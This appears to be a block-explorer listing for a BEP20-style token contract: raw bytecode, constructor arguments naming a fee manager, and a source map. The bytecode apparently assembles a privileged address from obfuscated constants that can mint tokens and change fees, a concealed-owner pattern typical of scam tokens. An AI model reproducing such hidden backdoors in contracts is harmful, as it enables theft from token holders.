ffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fda9190612efc565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561203457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206d57600080fd5b6120bf82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121f49190612efc565b60405180910390a36001905092915050565b61220e612a75565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461224557600080fd5b6064821115612289576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612280906130e4565b60405180910390fd5b60648111156122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c490613150565b60405180910390fd5b6122d78282612cad565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612308929190613170565b60405180910390a15050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561242d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612424906131e5565b60405180910390fd5b60006124576064612449600d54856128ec90919063ffffffff16565b61296690919063ffffffff16565b9050600061246e82846129be90919063ffffffff16565b90506124c283600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125f79190612efc565b60405180910390a360008211156127035761265a82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126fa9190612efc565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b61272c612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361276357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c9906133bb565b60405180910390fd5b6127e781600254612a1790919063ffffffff16565b60028190555061283f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128e09190612efc565b60405180910390a35050565b60008083036128fe5760009050612960565b6000828461290c919061340a565b905082848261291b919061347b565b1461295b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612952906134f8565b60405180910390fd5b809150505b92915050565b60008082116129aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a190613564565b60405180910390fd5b81836129b6919061347b565b905092915050565b600082821115612a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fa906135d0565b60405180910390fd5b8183612a0f91906135f0565b905092915050565b6000808284612a269190613624565b905083811015612a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a62906136a4565b60405180910390fd5b8091505092915050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8a90613710565b60405180910390fd5b612ba881600254612a1790919063ffffffff16565b600281905550612c0081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ca19190612efc565b60405180910390a35050565b81600c8190555080600d819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf9578082015181840152602081019050612cde565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d2182612cbf565b612d2b8185612cca565b9350612d3b818560208601612cdb565b612d4481612d05565b840191505092915050565b60006020820190508181036000830152612d698184612d16565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612da182612d76565b9050919050565b612db181612d96565b8114612dbc57600080fd5b50565b600081359050612dce81612da8565b92915050565b6000819050919050565b612de781612dd4565b8114612df257600080fd5b50565b600081359050612e0481612dde565b92915050565b60008060408385031215612e2157612e20612d71565b5b6000612e2f85828601612dbf565b9250506020612e4085828601612df5565b9150509250929050565b60008115159050919050565b612e5f81612e4a565b82525050565b6000602082019050612e7a6000830184612e56565b92915050565b60008060408385031215612e9757612e96612d71565b5b6000612ea585828601612df5565b9250506020612eb685828601612df5565b9150509250929050565b600060208284031215612ed657612ed5612d71565b5b6000612ee484828501612df5565b91505092915050565b612ef681612dd4565b82525050565b6000602082019050612f116000830184612eed565b92915050565b600080600060608486031215612f3057612f2f612d71565b5b6000612f3e86828701612dbf565b9350506020612f4f86828701612dbf565b9250506040612f6086828701612df5565b9150509250925092565b600060ff82169050919050565b612f8081612f6a565b82525050565b6000602082019050612f9b6000830184612f77565b92915050565b600060208284031215612fb757612fb6612d71565b5b6000612fc584828501612dbf565b91505092915050565b612fd781612d96565b82525050565b6000602082019050612ff26000830184612fce565b92915050565b6000806040838503121561300f5761300e612d71565b5b600061301d85828601612dbf565b925050602061302e85828601612dbf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061307f57607f821691505b60208210810361309257613091613038565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006130ce601a83612cca565b91506130d982613098565b602082019050919050565b600060208201905081810360008301526130fd816130c1565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061313a601b83612cca565b915061314582613104565b602082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b60006040820190506131856000830185612eed565b6131926020830184612eed565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006131cf601483612cca565b91506131da82613199565b602082019050919050565b600060208201905081810360008301526131fe816131c2565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061323b601683612cca565b915061324682613205565b602082019050919050565b6000602082019050818103600083015261326a8161322e565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b60006132a7601983612cca565b91506132b282613271565b602082019050919050565b600060208201905081810360008301526132d68161329a565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613339602383612cca565b9150613344826132dd565b604082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006133a5601f83612cca565b91506133b08261336f565b602082019050919050565b600060208201905081810360008301526133d481613398565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061341582612dd4565b915061342083612dd4565b925082820261342e81612dd4565b91508282048414831517613445576134446133db565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061348682612dd4565b915061349183612dd4565b9250826134a1576134a061344c565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b60006134e2601783612cca565b91506134ed826134ac565b602082019050919050565b60006020820190508181036000830152613511816134d5565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b600061354e601083612cca565b915061355982613518565b602082019050919050565b6000602082019050818103600083015261357d81613541565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b60006135ba601483612cca565b91506135c582613584565b602082019050919050565b600060208201905081810360008301526135e9816135ad565b9050919050565b60006135fb82612dd4565b915061360683612dd4565b925082820390508181111561361e5761361d6133db565b5b92915050565b600061362f82612dd4565b915061363a83612dd4565b9250828201905080821115613652576136516133db565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061368e601183612cca565b915061369982613658565b602082019050919050565b600060208201905081810360008301526136bd81613681565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b60006136fa601183612cca565b9150613705826136c4565b602082019050919050565b60006020820190508181036000830152613729816136ed565b905091905056fea2646970667358221220bc6bf8891adb9b39947cb49330d5351e74a7107131c328b7e38e57da615d426064736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000049ec6c74a8ddfc6e1f6f181cac3ed93c1397a0c8

-----Decoded View---------------
Arg [0] : _feeManager (address): 0x49eC6c74a8DDfC6e1f6F181CAC3ed93C1397a0c8

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000049ec6c74a8ddfc6e1f6f181cac3ed93c1397a0c8


Deployed ByteCode Sourcemap

1055:9785:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1117:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5006:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8136:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5326:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1192:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5457:1124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1611:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9284:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1255:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7574:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7502:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1583:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9648:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3560;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1291:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7258:138;;;;;;;;;;;;;:::i;:::-;;7109:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1527:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2953:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1156:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3404:147;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8475:798;;;:::i;:::-;;2410:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4684:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1495:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1469:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1342:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1554:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9793:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1117:32;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5006:216::-;5073:12;5132:6;5098:9;:21;5108:10;5098:21;;;;;;;;;;;;;;;:31;5120:8;5098:31;;;;;;;;;;;;;;;:40;;;;5175:8;5154:38;;5163:10;5154:38;;;5185:6;5154:38;;;;;;:::i;:::-;;;;;;;;5210:4;5203:11;;5006:216;;;;:::o;8136:330::-;10654:48;10473:230;;:10;:230;;;:348;;;;10787:5;;;;;;;;;;;10773:19;;:10;:19;;;:47;;;;;10810:10;:8;:10::i;:::-;10796:24;;:10;:24;;;;10773:47;10473:348;10464:359;;;;;;8246:3:::1;8233:9;:16;;8225:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8313:3;8299:10;:17;;8291:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8368:9;8359:6;:18;;;;8398:10;8388:7;:20;;;;8424:34;8436:9;8447:10;8424:34;;;;;;;:::i;:::-;;;;;;;;8136:330:::0;;:::o;5326:122::-;5383:4;7942:48;7761:230;;:10;:230;;;:348;;;;8075:5;;;;;;;;;;;8061:19;;:10;:19;;;:47;;;;;8098:10;:8;:10::i;:::-;8084:24;;:10;:24;;;;8061:47;7761:348;7752:359;;;;;;5396:26:::1;5403:10;5415:6;5396;:26::i;:::-;5436:4;5429:11;;5326:122:::0;;;:::o;1192:56::-;;;;:::o;5457:1124::-;5540:12;5593:7;5573:9;:16;5583:5;5573:16;;;;;;;;;;;;;;;;:27;;5565:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;5676:7;5644:9;:16;5654:5;5644:16;;;;;;;;;;;;;;;:28;5661:10;5644:28;;;;;;;;;;;;;;;;:39;;5636:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5744:1;5729:17;;:3;:17;;;5721:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5790:11;5804:29;5829:3;5804:20;5816:7;;5804;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5790:43;;5844:22;5869:16;5881:3;5869:7;:11;;:16;;;;:::i;:::-;5844:41;;5918:29;5939:7;5918:9;:16;5928:5;5918:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5899:9;:16;5909:5;5899:16;;;;;;;;;;;;;;;:48;;;;5975:34;5994:14;5975:9;:14;5985:3;5975:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;5958:9;:14;5968:3;5958:14;;;;;;;;;;;;;;;:51;;;;6041:3;6025:36;;6034:5;6025:36;;;6046:14;6025:36;;;;;;:::i;:::-;;;;;;;;6085:1;6079:3;:7;6075:207;;;6182:33;6211:3;6182:9;:24;6200:4;6182:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6155:9;:24;6173:4;6155:24;;;;;;;;;;;;;;;:60;;;;6259:4;6235:35;;6244:5;6235:35;;;6266:3;6235:35;;;;;;:::i;:::-;;;;;;;;6075:207;6308:10;6299:19;;:5;:19;;;;:72;;;;;6354:17;6322:9;:16;6332:5;6322:16;;;;;;;;;;;;;;;:28;6339:10;6322:28;;;;;;;;;;;;;;;;:49;;6299:72;6295:254;;;6419:41;6452:7;6419:9;:16;6429:5;6419:16;;;;;;;;;;;;;;;:28;6436:10;6419:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;6388:9;:16;6398:5;6388:16;;;;;;;;;;;;;;;:28;6405:10;6388:28;;;;;;;;;;;;;;;:72;;;;6496:10;6480:57;;6489:5;6480:57;;;6508:9;:16;6518:5;6508:16;;;;;;;;;;;;;;;:28;6525:10;6508:28;;;;;;;;;;;;;;;;6480:57;;;;;;:::i;:::-;;;;;;;;6295:254;6569:4;6562:11;;;;5457:1124;;;;;:::o;1611:22::-;;;;:::o;9284:353::-;9380:4;;;;;;;;;;;9366:18;;:10;:18;;;9358:27;;;;;;9417:3;9404:9;:16;;9396:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;9484:3;9470:10;:17;;9462:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;9539:9;9530:6;:18;;;;9569:10;9559:7;:20;;;;9595:34;9607:9;9618:10;9595:34;;;;;;;:::i;:::-;;;;;;;;9284:353;;:::o;1255:26::-;;;;;;;;;;;;;:::o;7574:137::-;7620:4;7655:5;;;;;;;;;;;7641:19;;:10;:19;;;7633:28;;;;;;7677:4;7672;;:9;;;;;;;;;;;;;;;;;;7699:4;7692:11;;7574:137;;;:::o;7502:63::-;7551:4;7942:48;7761:230;;:10;:230;;;:348;;;;8075:5;;;;;;;;;;;8061:19;;:10;:19;;;:47;;;;;8098:10;:8;:10::i;:::-;8084:24;;:10;:24;;;;8061:47;7761:348;7752:359;;;;;;7502:63;:::o;1583:21::-;;;;:::o;9648:136::-;9694:4;9729;;;;;;;;;;;9715:18;;:10;:18;;;9707:27;;;;;;9750:4;9745;;:9;;;;;;;;;;;;;;;;;;9772:4;9765:11;;9648:136;;;:::o;3560:::-;3620:12;6931:9;:7;:9::i;:::-;6917:23;;:10;:23;;;6909:32;;;;;;3641:29:::1;3651:10;3663:6;3641:9;:29::i;:::-;3684:4;3677:11;;3560:136:::0;;;:::o;1443:19::-;;;;;;;;;;;;;:::o;1291:44::-;;;;;;;;;;;;;;;;;:::o;7258:138::-;7942:48;7761:230;;:10;:230;;;:348;;;;8075:5;;;;;;;;;;;8061:19;;:10;:19;;;:47;;;;;8098:10;:8;:10::i;:::-;8084:24;;:10;:24;;;;8061:47;7761:348;7752:359;;;;;;7356:1:::1;7320:39;;7341:5;;;;;;;;;;;7320:39;;;;;;;;;;;;7386:1;7370:5;;:18;;;;;;;;;;;;;;;;;;7258:138::o:0;7109:140::-;7157:4;7192;;;;;;;;;;;7178:18;;:10;:18;;;7170:27;;;;;;7214:5;7208;;:11;;;;;;;;;;;;;;;;;;7237:4;7230:11;;7109:140;;;:::o;1527:20::-;;;;;;;;;;;;;:::o;1416:::-;;;;;;;;;;;;;:::o;2953:352::-;3002:4;3205:48;3024:230;;:10;:230;;;3015:240;;;;;;3271:4;3266;;:9;;;;;;;;;;;;;;;;;;3293:4;3286:11;;2953:352;;;:::o;1156:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3404:147::-;3452:4;3487;;;;;;;;;;;3473:18;;:10;:18;;;3465:27;;;;;;3499:26;3506:10;3518:6;3499;:26::i;:::-;3539:4;3532:11;;3404:147;;;:::o;8475:798::-;8536:1;8524:9;:13;8516:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;8591:14;8608:9;8591:26;;8641:1;8632:6;;:10;8628:638;;;8659:11;8673:27;8696:3;8673:18;8684:6;;8673;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;8659:41;;8715:22;8740:15;8751:3;8740:6;:10;;:15;;;;:::i;:::-;8715:40;;8797:41;8823:14;8797:9;:21;8807:10;;;;;;;;;;;8797:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;8773:9;:21;8783:10;;;;;;;;;;;8773:21;;;;;;;;;;;;;;;:65;;;;8882:10;;;;;;;;;;;8858:51;;8875:4;8858:51;;;8894:14;8858:51;;;;;;:::i;:::-;;;;;;;;8937:1;8931:3;:7;8927:175;;;8986:33;9015:3;8986:9;:24;9004:4;8986:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8959:9;:24;8977:4;8959:24;;;;;;;;;;;;;;;:60;;;;9075:4;9043:43;;9060:4;9043:43;;;9082:3;9043:43;;;;;;:::i;:::-;;;;;;;;8927:175;8644:469;;8628:638;;;9158:33;9184:6;9158:9;:21;9168:10;;;;;;;;;;;9158:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;9134:9;:21;9144:10;;;;;;;;;;;9134:21;;;;;;;;;;;;;;;:57;;;;9235:10;;;;;;;;;;;9211:43;;9228:4;9211:43;;;9247:6;9211:43;;;;;;:::i;:::-;;;;;;;;8628:638;8505:768;8475:798::o;2410:377::-;2474:12;2532:7;2507:9;:21;2517:10;2507:21;;;;;;;;;;;;;;;;:32;;2499:41;;;;;;2574:1;2559:17;;:3;:17;;;2551:26;;;;;;2615:34;2641:7;2615:9;:21;2625:10;2615:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2591:9;:21;2601:10;2591:21;;;;;;;;;;;;;;;:58;;;;2677:27;2696:7;2677:9;:14;2687:3;2677:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2660:9;:14;2670:3;2660:14;;;;;;;;;;;;;;;:44;;;;2741:3;2720:34;;2729:10;2720:34;;;2746:7;2720:34;;;;;;:::i;:::-;;;;;;;;2775:4;2768:11;;2410:377;;;;:::o;4684:313::-;6931:9;:7;:9::i;:::-;6917:23;;:10;:23;;;6909:32;;;;;;4795:3:::1;4782:9;:16;;4774:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4862:3;4848:10;:17;;4840:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;4908:31;4917:9;4928:10;4908:8;:31::i;:::-;4955:34;4967:9;4978:10;4955:34;;;;;;;:::i;:::-;;;;;;;;4684:313:::0;;:::o;1495:25::-;;;;;;;;;;;;;:::o;1469:19::-;;;;;;;;;;;;;:::o;1342:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1554:19::-;;;;;;;;;;;;;:::o;9793:625::-;9875:7;9850:9;:21;9860:10;9850:21;;;;;;;;;;;;;;;;:32;;9842:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;9921:11;9935:29;9960:3;9935:20;9947:7;;9935;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;9921:43;;9975:22;10000:16;10012:3;10000:7;:11;;:16;;;;:::i;:::-;9975:41;;10054:34;10080:7;10054:9;:21;10064:10;10054:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;10030:9;:21;10040:10;10030:21;;;;;;;;;;;;;;;:58;;;;10126:44;10155:14;10126:9;:24;10144:4;10126:24;;;;;;;;;;;;;;;;:28;;:44;;;;:::i;:::-;10099:9;:24;10117:4;10099:24;;;;;;;;;;;;;;;:71;;;;10215:4;10186:51;;10195:10;10186:51;;;10222:14;10186:51;;;;;;:::i;:::-;;;;;;;;10261:1;10255:3;:7;10251:160;;;10306:33;10335:3;10306:9;:24;10324:4;10306:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;10279:9;:24;10297:4;10279:24;;;;;;;;;;;;;;;:60;;;;10388:4;10359:40;;10368:10;10359:40;;;10395:3;10359:40;;;;;;:::i;:::-;;;;;;;;10251:160;9831:587;;9793:625;:::o;4442:233::-;4485:7;4619:47;4501:166;;4442:233;:::o;3707:301::-;3364:10;:8;:10::i;:::-;3350:24;;:10;:24;;;3342:33;;;;;;3808:1:::1;3789:21;;:7;:21;;::::0;3781:65:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3870:23;3886:6;3870:11;;:15;;:23;;;;:::i;:::-;3856:11;:37;;;;3921:30;3944:6;3921:9;:18;3931:7;3921:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;3900:9;:18;3910:7;3900:18;;;;;;;;;;;;;;;:51;;;;3984:7;3963:37;;3980:1;3963:37;;;3993:6;3963:37;;;;;;:::i;:::-;;;;;;;;3707:301:::0;;:::o;437:236::-;495:7;524:1;519;:6;515:47;;549:1;542:8;;;;515:47;572:9;588:1;584;:5;;;;:::i;:::-;572:17;;617:1;612;608;:5;;;;:::i;:::-;:10;600:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;664:1;657:8;;;437:236;;;;;:::o;682:365::-;740:7;772:1;768;:5;760:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;816:1;812;:5;;;;:::i;:::-;805:12;;682:365;;;;:::o;102:148::-;160:7;193:1;188;:6;;180:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;241:1;237;:5;;;;:::i;:::-;230:12;;102:148;;;;:::o;259:169::-;317:7;337:9;353:1;349;:5;;;;:::i;:::-;337:17;;378:1;373;:6;;365:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;419:1;412:8;;;259:169;;;;:::o;4017:416::-;4058:7;4074:14;4091:10;4074:27;;4108:8;4119:10;4108:21;;4136:9;4148:10;4136:22;;4165:9;4177:10;4165:22;;4194:11;4208:10;4194:24;;4264:12;4388:6;4374:2;4365:4;4357:19;;;;4350:2;4341:4;4333:19;;;;4326:2;4318:3;4310:18;;;;4302:3;4288:9;4280:25;;;;4279:50;:74;:98;:116;4264:131;;4420:4;4405:20;;;;;;;;4017:416;:::o;6590:281::-;6685:1;6666:21;;:7;:21;;;6658:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;6733:23;6749:6;6733:11;;:15;;:23;;;;:::i;:::-;6719:11;:37;;;;6784:30;6807:6;6784:9;:18;6794:7;6784:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6763:9;:18;6773:7;6763:18;;;;;;;;;;;;;;;:51;;;;6847:7;6826:37;;6843:1;6826:37;;;6856:6;6826:37;;;;;;:::i;:::-;;;;;;;;6590:281;;:::o;6966:134::-;7052:9;7043:6;:18;;;;7082:10;7072:7;:20;;;;6966:134;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;